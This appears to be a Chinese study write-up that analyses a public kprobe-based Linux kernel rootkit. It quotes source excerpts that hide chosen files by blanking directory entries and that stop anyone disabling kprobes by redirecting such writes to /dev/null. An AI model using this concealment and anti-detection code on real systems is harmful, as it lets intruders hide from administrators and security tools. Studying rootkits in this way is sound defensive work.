linux kprobe rootkit学习

介绍

《linux二进制分析》中提到了使用kprobe来写内核rootkit，还给出了一个简单的源码实现，这里看一下他的源码

kprobe

kprobe的介绍可以看下面这几篇文章

介绍：https://www.cnblogs.com/honpey/p/4575928.html

原理：https://www.cnblogs.com/honpey/p/4575902.html

用法：https://blog.csdn.net/luckyapple1028/article/details/52972315

rootkit

用来隐藏进程，文件等信息的恶意软件

关于rootkit用来实现隐藏的一些基本操作可以在这里看见：https://www.cnblogs.com/likaiming/p/11002351.html

使用kprobe来写rootkit

作者的源码在这里：https://github.com/elfmaster/kprobe_rootkit

这里分析一下这个项目的源码

这个rootkit只是实现了文件的隐藏，其中被隐藏的文件存放在hidden_files中，定义在文件头

char *hidden_files[] = 
{
#define HIDDEN_FILES_MAX 3
        "test1",
        "test2",
        "test3"
};

在模块初始化的时候，先通过符号表来找到sys_write和filldir64这两个函数的位置

　//n_kallsyms_lookup_name这个函数好像找不到，一般用kallsyms_lookup_name这个函数

filldir64_kp.kp.addr = syswrite_jp.kp.addr = (kprobe_opcode_t *)n_kallsyms_lookup_name("sys_write");
filldir64_kp.kp.addr = filldir64_jp.kp.addr = (kprobe_opcode_t *)n_kallsyms_lookup_name("filldir64");

然后就向这两个函数的开头和结尾注册了jprobe和retprobe

//向sys_write和filldir64注入jprobe和retprobe
register_kretprobe(&filldir64_kp);
register_kretprobe(&syswrite_kp);

register_jprobe(&filldir64_jp);
register_jprobe(&syswrite_jp);

同时还会去找另外3个函数的地址，get_task_comn是获得

_sys_close = (void *)n_kallsyms_lookup_name("sys_close");
_sys_open = (void *)n_kallsyms_lookup_name("sys_open");
_get_task_comm = (void*)n_kallsyms_lookup_name("get_task_comm");

然后有4个kprobe结构，包含着我们的实现代码

static struct jprobe syswrite_jp =
{
    .entry = (kprobe_opcode_t *)j_sys_write
};

static struct jprobe filldir64_jp =
{
    .entry = (kprobe_opcode_t *)j_filldir64
};

static struct kretprobe filldir64_kp =
{
    .handler = filldir64_ret_handler,
    .maxactive = NR_CPUS
};

static struct kretprobe syswrite_kp =
{
    .handler = sys_write_ret_handler,
    .maxactive = NR_CPUS
};

先看filldir64的两个函数

j_filldir64是jprobe的函数，在filldir64之前执行，

//遍历隐藏文件列表，查看是不是和隐藏文件同名
for (i = 0; i < HIDDEN_FILES_MAX; i++)
　　if (strcmp(hidden_files[i], name) == 0)
　　　　found_hidden_file++;
　　if (!found_hidden_file)
　　　　goto end;

如果有，则记录在全局变量中

        //全局指针，如果有，则记录下这么目录，
        g_dentry.d_name_ptr = (unsigned long)(unsigned char *)dirent->d_name;
        g_dentry.bypass++; // note that we want to bypass viewing this file

在返回的时候，如果发现是需要隐藏的目录，则直接清除掉

static int filldir64_ret_handler(struct kretprobe_instance *ri, struct pt_regs *regs)
{
        char *ptr, null = 0;
        /* Someone is looking at one of our hidden files */
        if (g_dentry.bypass)
        {
                /* Lets nullify the filename so it simply is invisible */
                ptr = (char *)g_dentry.d_name_ptr;
                copy_to_user((char *)ptr, &null, sizeof(char));
        }
}

在write系统调用中下kprobe，是为了防止向/sys/kernel/debug/kprobes/enabled写值来禁止kprobe机制，作者只做了这个功能

可以通过get_task_comn来获取进程的可执行文件名字

    _get_task_comm(comm, current);
    printk("comm: %s\n", comm);
        if (strcmp(comm, "ls"))    
                goto do_inode_check;
    else    
        /* check to see if this is an ls stat complaint, or ls -l weirdness */
        /* There are two separate calls to sys_write hence two strstr checks */
        if (strstr(s, "cannot access") || strstr(s, "ls:"))  
        {
                printk("Going to redirect\n");
                goto redirect;  
        }

然后通过检查inode值来看写入的文件是不是/sys/kernel/debug/kprobes/enabled

       //先得到file结构，然后得到dentry，最后再得到inode结构
        file = fget(fd);
        if (!file)
                goto out;
        dentry = dget(file->f_path.dentry);
        if (!dentry)
                goto out;
        ino = dentry->d_inode->i_ino;
        dput(dentry);
        fput(file);
    /* If someone tries to disable kprobes or tries to see our probes */
    /* in /sys/kernel/debug/kprobes, it aint happening */
        //enabled_ino表示的是sys/kernel/debug/kprobes/enabled的inode值
        if (ino == enabled_ino)
    {
        printk("ino: %u\n", ino);    
        goto redirect;
    }
    else
        goto out;

最后就是如果判断正确，则将这个进程输出导向NULL而不是写入/sys/kernel/debug/kprobes/enabled，具体做法就是这样

        //KERNEL_DS范围很大，到0xffffffffffffffff
        mm_segment_t o_fs = get_fs();
        set_fs(KERNEL_DS);

        _sys_close(fd);
        fd = _sys_open(devnull, O_RDWR, 0);
        
        set_fs(o_fs);
        global_fd = fd;

关于这部分的用法直接搜索就可以了，比如：https://www.cnblogs.com/bittorrent/p/3264211.html

在write写结束的位置，再关闭NULL文件就可以了。